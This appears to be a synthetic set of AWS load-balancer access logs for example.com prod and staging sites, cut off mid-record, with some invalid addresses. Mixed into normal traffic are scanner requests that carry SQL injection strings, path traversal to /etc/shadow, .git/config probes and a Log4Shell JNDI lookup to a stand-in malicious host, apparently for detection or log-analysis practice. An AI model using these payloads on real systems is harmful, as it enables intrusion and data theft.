arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfd3-3d948d36c0c44f3c8cbaa5d8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:43:31.067771Z "forward" "-" "-" "10.0.202.92:443" "301" "-" "-" +http 2024-11-01T01:43:31.897321Z staging-alb 111.98.90.58:28632 195.190.207.35:80 0.028719 0.072226 0.119041 302 302 250 13584 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfd3-145694c4850c4a598874f931" "staging-alb.example.com" "-" 0 2024-11-01T01:43:31.897321Z "forward" "-" "-" "195.190.207.35:80" "302" "-" "-" +https 2024-11-01T01:43:33.512520Z prod-web-alb 15.41.186.248:29938 10.0.77.193:443 0.093509 0.338527 0.057722 200 200 881 5556 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfd5-b5b943d58aff4bef8416a6e5" "prod-web-alb.example.com" "-" 6 2024-11-01T01:43:33.512520Z "forward" "-" "-" "10.0.77.193:443" "200" "-" "-" +https 2024-11-01T01:43:35.187526Z prod-api-alb 39.22.214.36:12618 10.0.9.153:443 0.007237 0.227336 0.077011 302 302 873 12889 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfd7-392c6086d7c94a00b8531f4b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:43:35.187526Z "forward" "-" "-" "10.0.9.153:443" "302" "-" "-" +https 2024-11-01T01:43:36.135942Z staging-alb 225.202.242.2:53375 243.12.4.255:80 0.084572 0.070409 0.030794 200 200 216 3072 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfd8-d4d1e06d3a1d4c6ba6cf4970" "staging-alb.example.com" "-" 4 2024-11-01T01:43:36.135942Z "forward" "-" "-" "243.12.4.255:80" "200" "-" "-" +http 2024-11-01T01:43:37.295109Z staging-alb 192.237.4.1:44128 125.146.101.217:443 0.117844 0.409327 0.109054 200 200 967 3671 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfd9-f656508b4a3948e594f540bc" "staging-alb.example.com" "-" 4 2024-11-01T01:43:37.295109Z "forward" "-" "-" "125.146.101.217:443" "200" "-" "-" +https 2024-11-01T01:43:37.941490Z prod-web-alb 241.163.112.243:24322 10.0.217.166:443 0.083932 0.343698 0.093660 200 200 795 3455 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfd9-6e30a91551034587a0dccd6d" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:37.941490Z "forward" "-" "-" "10.0.217.166:443" "200" "-" "-" +http 2024-11-01T01:43:38.926142Z staging-alb 49.98.14.173:18878 156.175.3.200:443 0.107920 0.356179 0.017340 404 404 130 12686 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfda-296d54a8dbac41409a270d29" "staging-alb.example.com" "-" 10 2024-11-01T01:43:38.926142Z "forward" "-" "-" "156.175.3.200:443" "404" "-" "-" +https 2024-11-01T01:43:40.259797Z staging-alb 174.43.250.23:62397 79.49.63.250:8080 0.077441 0.494974 0.045432 200 200 505 8678 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfdc-2822fc3d486b408b95305578" "staging-alb.example.com" "-" 9 2024-11-01T01:43:40.259797Z "forward" "-" "-" "79.49.63.250:8080" "200" "-" "-" +https 2024-11-01T01:43:40.873653Z prod-api-alb 56.215.43.16:27687 10.0.197.220:443 0.023067 0.273567 0.055713 302 302 992 3410 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfdc-88dd9b1b705f49d388e8afa1" "prod-api-alb.example.com" "-" 0 2024-11-01T01:43:40.873653Z "forward" "-" "-" "10.0.197.220:443" "302" "-" "-" +https 2024-11-01T01:43:41.037209Z prod-web-alb 45.155.205.233:13558 10.0.112.67:443 0.046624 0.107167 0.012998 401 401 602 13495 "POST /.git/config HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfdd-ec70506a866f4c369f436b8a" "-" "-" 0 2024-11-01T01:43:41.037209Z "forward" "-" "-" "10.0.112.67:443" "401" "-" "-" +https 2024-11-01T01:43:42.916133Z prod-web-alb 185.181.21.23:26244 10.0.70.7:443 0.051553 0.216403 0.074659 500 500 544 13925 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfde-4f625498b58c4c658cff909b" "-" "-" 9 2024-11-01T01:43:42.916133Z "forward" "-" "-" "10.0.70.7:443" "500" "-" "-" +https 2024-11-01T01:43:43.772393Z prod-api-alb 185.181.160.192:48594 10.0.233.10:443 0.048017 0.115819 0.078754 404 404 988 5180 "GET /images/../../../../etc/shadow HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfdf-3a1692e9d1d943f0adab15fc" "-" "-" 0 2024-11-01T01:43:43.772393Z "forward" "-" "-" "10.0.233.10:443" "404" "-" "-" +https 2024-11-01T01:43:44.089103Z prod-api-alb 124.178.23.243:49451 10.0.85.179:443 0.082371 0.344079 0.018660 200 200 505 10222 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe0-e065f92a2ae74840903b6fa1" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:44.089103Z "forward" "-" "-" "10.0.85.179:443" "200" "-" "-" +https 2024-11-01T01:43:45.482168Z prod-api-alb 195.37.229.200:19236 10.0.70.19:443 0.056913 0.172238 0.010802 200 200 70 4212 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfe1-c763ea93bf6d490e9d2b009f" "-" "-" 7 2024-11-01T01:43:45.482168Z "forward" "-" "-" "10.0.70.19:443" "200" "-" "-" +https 2024-11-01T01:43:46.651882Z prod-web-alb 137.42.169.151:46688 10.0.158.142:443 0.034973 0.129866 0.065615 200 200 602 11350 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfe2-b5eb7379d21d47a8817e9a9e" "prod-web-alb.example.com" "-" 0 2024-11-01T01:43:46.651882Z "forward" "-" "-" "10.0.158.142:443" "200" "-" "-" +https 2024-11-01T01:43:47.536548Z staging-alb 115.42.152.168:31825 203.126.83.206:8080 0.118033 0.559070 0.112607 302 302 146 3765 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfe3-187f8b0a97894804bff7def9" "staging-alb.example.com" "-" 4 2024-11-01T01:43:47.536548Z "forward" "-" "-" "203.126.83.206:8080" "302" "-" "-" +https 2024-11-01T01:43:48.367834Z prod-api-alb 144.6.219.110:51428 10.0.99.46:443 0.005947 0.491077 0.028610 302 302 155 3123 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe4-fdcae7649f40490a80ed124c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:48.367834Z "forward" "-" "-" "10.0.99.46:443" "302" "-" "-" +http 2024-11-01T01:43:50.209907Z staging-alb 254.42.58.224:58188 235.110.223.122:8080 0.100740 0.634082 0.126837 404 404 550 12817 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfe6-dcdab0d2f4d841ec8e98f179" "staging-alb.example.com" "-" 8 2024-11-01T01:43:50.209907Z "forward" "-" "-" "235.110.223.122:8080" "404" "-" "-" +https 2024-11-01T01:43:50.549789Z prod-api-alb 30.92.82.53:39473 10.0.155.219:443 0.099670 0.285531 0.085973 301 301 169 1823 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe6-787c5ecd5bfe4b95a7acee15" "prod-api-alb.example.com" "-" 1 2024-11-01T01:43:50.549789Z "forward" "-" "-" "10.0.155.219:443" "301" "-" "-" +https 2024-11-01T01:43:52.254137Z prod-api-alb 23.202.240.186:28115 10.0.195.214:443 0.050563 0.060889 0.049031 200 200 77 1593 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfe8-abc8b1f281614ada829827b2" "-" "-" 10 2024-11-01T01:43:52.254137Z "forward" "-" "-" "10.0.195.214:443" "200" "-" "-" +https 2024-11-01T01:43:52.656634Z prod-web-alb 12.24.221.247:14746 10.0.83.109:443 0.043484 0.116587 0.096473 404 404 569 6815 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfe8-567f2a63c1c44dbcb867200c" "prod-web-alb.example.com" "-" 4 2024-11-01T01:43:52.656634Z "forward" "-" "-" "10.0.83.109:443" "404" "-" "-" +https 2024-11-01T01:43:53.284081Z prod-api-alb 242.173.204.96:44823 10.0.57.190:443 0.019740 0.448055 0.046942 200 200 982 1682 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe9-3ecbd0b9d6f54250934f7371" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:53.284081Z "forward" "-" "-" "10.0.57.190:443" "200" "-" "-" +http 2024-11-01T01:43:54.712566Z staging-alb 51.48.14.156:59053 180.181.176.246:443 0.034599 0.044416 0.143323 302 302 991 2591 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfea-1eab45a73a314886a511d11c" "staging-alb.example.com" "-" 7 2024-11-01T01:43:54.712566Z "forward" "-" "-" "180.181.176.246:443" "302" "-" "-" +https 2024-11-01T01:43:55.884350Z staging-alb 15.184.22.167:56053 148.253.224.105:80 0.059251 0.426669 0.048843 200 200 190 13543 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfeb-f80f23084be14af690c83a10" "staging-alb.example.com" "-" 3 2024-11-01T01:43:55.884350Z "forward" "-" "-" "148.253.224.105:80" "200" "-" "-" +https 2024-11-01T01:43:56.105512Z prod-web-alb 100.123.78.30:10040 10.0.220.76:443 0.022473 0.294229 0.070504 302 302 730 1962 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfec-bfc180ac82fa4d79b96a3eac" "prod-web-alb.example.com" "-" 8 2024-11-01T01:43:56.105512Z "forward" "-" "-" "10.0.220.76:443" "302" "-" "-" +https 2024-11-01T01:43:56.460795Z prod-api-alb 152.148.73.118:29404 10.0.177.214:443 0.018980 0.308502 0.023960 200 200 659 4796 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfec-22d873031e1343319cb1e14b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:56.460795Z "forward" "-" "-" "10.0.177.214:443" "200" "-" "-" +https 2024-11-01T01:43:56.850289Z prod-web-alb 247.184.84.172:60031 10.0.81.138:443 0.030863 0.159807 0.065626 200 200 784 12152 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfec-969e6f12fd7145e8bcebee63" "prod-web-alb.example.com" "-" 5 2024-11-01T01:43:56.850289Z "forward" "-" "-" "10.0.81.138:443" "200" "-" "-" +https 2024-11-01T01:43:56.959867Z prod-api-alb 94.149.18.165:45177 10.0.136.183:443 0.035072 0.264115 0.074823 301 301 20 9302 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfec-f9e73ee40fbf4b6fafc01f59" "prod-api-alb.example.com" "-" 6 2024-11-01T01:43:56.959867Z "forward" "-" "-" "10.0.136.183:443" "301" "-" "-" +https 2024-11-01T01:43:58.182569Z prod-api-alb 178.197.113.92:32546 10.0.251.8:443 0.036291 0.082128 0.044717 301 301 589 6336 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfee-5cbfc355ed0a497cb014465f" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:58.182569Z "forward" "-" "-" "10.0.251.8:443" "301" "-" "-" +https 2024-11-01T01:43:58.905554Z staging-alb 116.196.15.80:56506 234.13.87.222:443 0.019264 0.303735 0.123983 200 200 80 13824 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfee-9ed434111cf94333866cddbc" "staging-alb.example.com" "-" 6 2024-11-01T01:43:58.905554Z "forward" "-" "-" "234.13.87.222:443" "200" "-" "-" +http 2024-11-01T01:43:59.098886Z staging-alb 45.155.205.208:30365 1.21.185.41:80 0.002333 0.748558 0.033670 401 401 659 10202 "POST /wp-admin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfef-7882e7092e534f52baedeb21" "-" "-" 7 2024-11-01T01:43:59.098886Z "forward" "-" "-" "1.21.185.41:80" "401" "-" "-" +https 2024-11-01T01:44:00.472048Z prod-web-alb 122.187.221.3:60467 10.0.1.215:443 0.005797 0.476978 0.008237 200 200 538 14905 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cff0-13c6b6d1cc83484582645709" "prod-web-alb.example.com" "-" 7 2024-11-01T01:44:00.472048Z "forward" "-" "-" "10.0.1.215:443" "200" "-" "-" +https 2024-11-01T01:44:01.965676Z staging-alb 20.83.96.11:22110 198.117.68.135:443 0.032945 0.345440 0.099332 200 200 212 3593 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cff1-2db7366b26114018bb4d9456" "staging-alb.example.com" "-" 5 2024-11-01T01:44:01.965676Z "forward" "-" "-" "198.117.68.135:443" "200" "-" "-" +https 2024-11-01T01:44:02.309619Z staging-alb 201.115.61.150:46348 202.143.110.179:8080 0.126806 0.572252 0.010156 200 200 571 10111 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cff2-384f97f368254aa0ab6c6282" "staging-alb.example.com" "-" 1 2024-11-01T01:44:02.309619Z "forward" "-" "-" "202.143.110.179:8080" "200" "-" "-" +https 2024-11-01T01:44:04.205783Z prod-web-alb 45.155.205.170:51613 10.0.194.76:443 0.014387 0.223107 0.059499 403 403 491 8326 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cff4-10233558bf224e9f861b938a" "-" "-" 1 2024-11-01T01:44:04.205783Z "forward" "-" "-" "10.0.194.76:443" "403" "-" "-" +https 2024-11-01T01:44:05.723942Z staging-alb 84.164.213.124:45712 31.227.193.252:443 0.102838 0.126109 0.073168 200 200 690 5381 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cff5-5a81fdeeb39b4ad4b3d4137d" "staging-alb.example.com" "-" 4 2024-11-01T01:44:05.723942Z "forward" "-" "-" "31.227.193.252:443" "200" "-" "-" +https 2024-11-01T01:44:07.285596Z prod-api-alb 45.155.205.246:35747 10.0.80.90:443 0.084059 0.213088 0.052680 404 404 505 2058 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cff7-872bbb0c90ff48399ee5f8ad" "-" "-" 1 2024-11-01T01:44:07.285596Z "forward" "-" "-" "10.0.80.90:443" "404" "-" "-" +https 2024-11-01T01:44:08.101984Z prod-web-alb 219.45.135.9:57220 10.0.235.54:443 0.017662 0.250884 0.032388 200 200 222 10686 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cff8-312d2d1546744290a5204991" "prod-web-alb.example.com" "-" 4 2024-11-01T01:44:08.101984Z "forward" "-" "-" "10.0.235.54:443" "200" "-" "-" +https 2024-11-01T01:44:09.978525Z prod-api-alb 34.12.61.63:50518 10.0.124.162:443 0.047426 0.105685 0.044436 200 200 925 10532 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cff9-3cfb3c77f8e04dd4b30211d8" "prod-api-alb.example.com" "-" 5 2024-11-01T01:44:09.978525Z "forward" "-" "-" "10.0.124.162:443" "200" "-" "-" +https 2024-11-01T01:44:11.081734Z prod-web-alb 62.215.195.109:28000 10.0.237.82:443 0.010859 0.047314 0.030486 200 200 374 2652 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cffb-a520f60057594c6f9706e3bb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:44:11.081734Z "forward" "-" "-" "10.0.237.82:443" "200" "-" "-" +https 2024-11-01T01:44:12.374031Z prod-web-alb 69.106.150.180:21922 10.0.249.46:443 0.079198 0.140449 0.025067 302 302 661 14761 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cffc-184af103481e4a78a89fa35a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:44:12.374031Z "forward" "-" "-" "10.0.249.46:443" "302" "-" "-" +https 2024-11-01T01:44:13.872172Z prod-web-alb 134.51.18.157:39595 10.0.38.200:443 0.033699 0.021606 0.010400 200 200 739 11375 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cffd-d86e13e34aa74de29a4e0026" "prod-web-alb.example.com" "-" 8 2024-11-01T01:44:13.872172Z "forward" "-" "-" "10.0.38.200:443" "200" "-" "-" +https 2024-11-01T01:44:15.006911Z prod-web-alb 185.181.187.52:14394 10.0.106.70:443 0.074098 0.308335 0.080107 403 403 17 6234 "GET /api/../../../config HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfff-570cba4fc2af417db31bcb14" "-" "-" 7 2024-11-01T01:44:15.006911Z "forward" "-" "-" "10.0.106.70:443" "403" "-" "-" +https 2024-11-01T01:44:16.371322Z prod-api-alb 163.233.178.129:37184 10.0.205.80:443 0.035515 0.376192 0.073665 200 200 697 1205 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d000-9b094d5b7e5d4da7a36a606f" "prod-api-alb.example.com" "-" 3 2024-11-01T01:44:16.371322Z "forward" "-" "-" "10.0.205.80:443" "200" "-" "-" +http 2024-11-01T01:44:17.284452Z staging-alb 230.166.142.68:25807 179.62.213.186:443 0.149009 0.050607 0.010277 301 301 537 10453 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d001-5f007c20ee124698abb6e953" "staging-alb.example.com" "-" 4 2024-11-01T01:44:17.284452Z "forward" "-" "-" "179.62.213.186:443" "301" "-" "-" +https 2024-11-01T01:44:17.509729Z staging-alb 147.248.181.153:19137 121.176.94.88:8080 0.138158 0.687357 0.122666 200 200 239 2695 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d001-b083a2b83f814870940b498b" "staging-alb.example.com" "-" 6 2024-11-01T01:44:17.509729Z "forward" "-" "-" "121.176.94.88:8080" "200" "-" "-" +https 2024-11-01T01:44:18.466133Z prod-api-alb 193.27.228.38:17568 10.0.49.161:443 0.074614 0.255437 0.072042 200 200 513 3548 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d002-6a573aee46ea491382c0a3a4" "-" "-" 2 2024-11-01T01:44:18.466133Z "forward" "-" "-" "10.0.49.161:443" "200" "-" "-" +https 2024-11-01T01:44:19.041128Z prod-api-alb 243.39.121.166:49616 10.0.130.56:443 0.057032 0.054537 0.063836 200 200 216 8015 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d003-106d36f634e84b6c8e1ef3c8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:44:19.041128Z "forward" "-" "-" "10.0.130.56:443" "200" "-" "-" +https 2024-11-01T01:44:20.597215Z prod-api-alb 66.145.149.191:60095 10.0.223.164:443 0.099844 0.254905 0.069960 200 200 439 6601 "GET /api/v1/products 